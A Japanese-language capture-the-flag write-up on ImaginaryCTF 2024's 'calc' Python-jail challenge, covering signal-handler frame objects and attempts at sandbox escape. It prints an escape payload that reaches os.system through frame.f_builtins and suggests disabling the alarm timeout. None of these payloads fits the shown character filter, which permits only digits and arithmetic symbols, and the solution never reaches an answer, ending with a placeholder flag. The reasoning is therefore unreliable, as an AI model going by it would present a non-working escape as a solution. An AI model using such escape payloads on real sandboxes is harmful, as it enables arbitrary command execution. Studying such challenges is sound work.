ImaginaryCTF 2024 - calc
Challenge
シンプルな電卓として実装されたpyjail。
import signalimport sys
def handler(signum, frame): print("Timeout!") sys.exit(1)
signal.signal(signal.SIGALRM, handler)signal.alarm(5)
expr = input("calc> ")# 安全な数式のみ許可allowed = set('0123456789+-*/() ')if not all(c in allowed for c in expr): print("Invalid!") sys.exit(1)
print(eval(expr))Solution
シグナルハンドラの frame 引数
シグナルハンドラは第2引数として frame オブジェクトを受け取る:
def handler(signum, frame): # frame は SIGALRM 発生時のフレーム # frame.f_globals, frame.f_builtins にアクセス可能攻撃シナリオ
- シグナルハンドラを上書きする方法を見つける
- または既存のハンドラ内で frame を悪用
別の攻撃ベクトル
signal.alarm(0) でタイムアウトを無効化し、時間制限を回避:
# signal モジュールにアクセスできればsignal.alarm(0)Frame からの脱出
import sys
frame = sys._getframe()frame.f_builtins['eval']('__import__("os").system("id")')Technical Details
シグナルハンドラの引数
def signal_handler(signum, frame): """ signum: シグナル番号 (e.g., signal.SIGALRM = 14) frame: シグナル発生時の実行フレーム """ print(f"Signal: {signum}") print(f"Frame locals: {frame.f_locals}") print(f"Frame globals: {frame.f_globals}")利用可能な属性
| 属性 | 説明 |
|---|---|
frame.f_locals | ローカル変数 |
frame.f_globals | グローバル変数 |
frame.f_builtins | builtins |
frame.f_code | コードオブジェクト |
frame.f_back | 呼び出し元フレーム |
Flag
ictf{...}
References
- ImaginaryCTF 2024 Official
- Python signal module documentation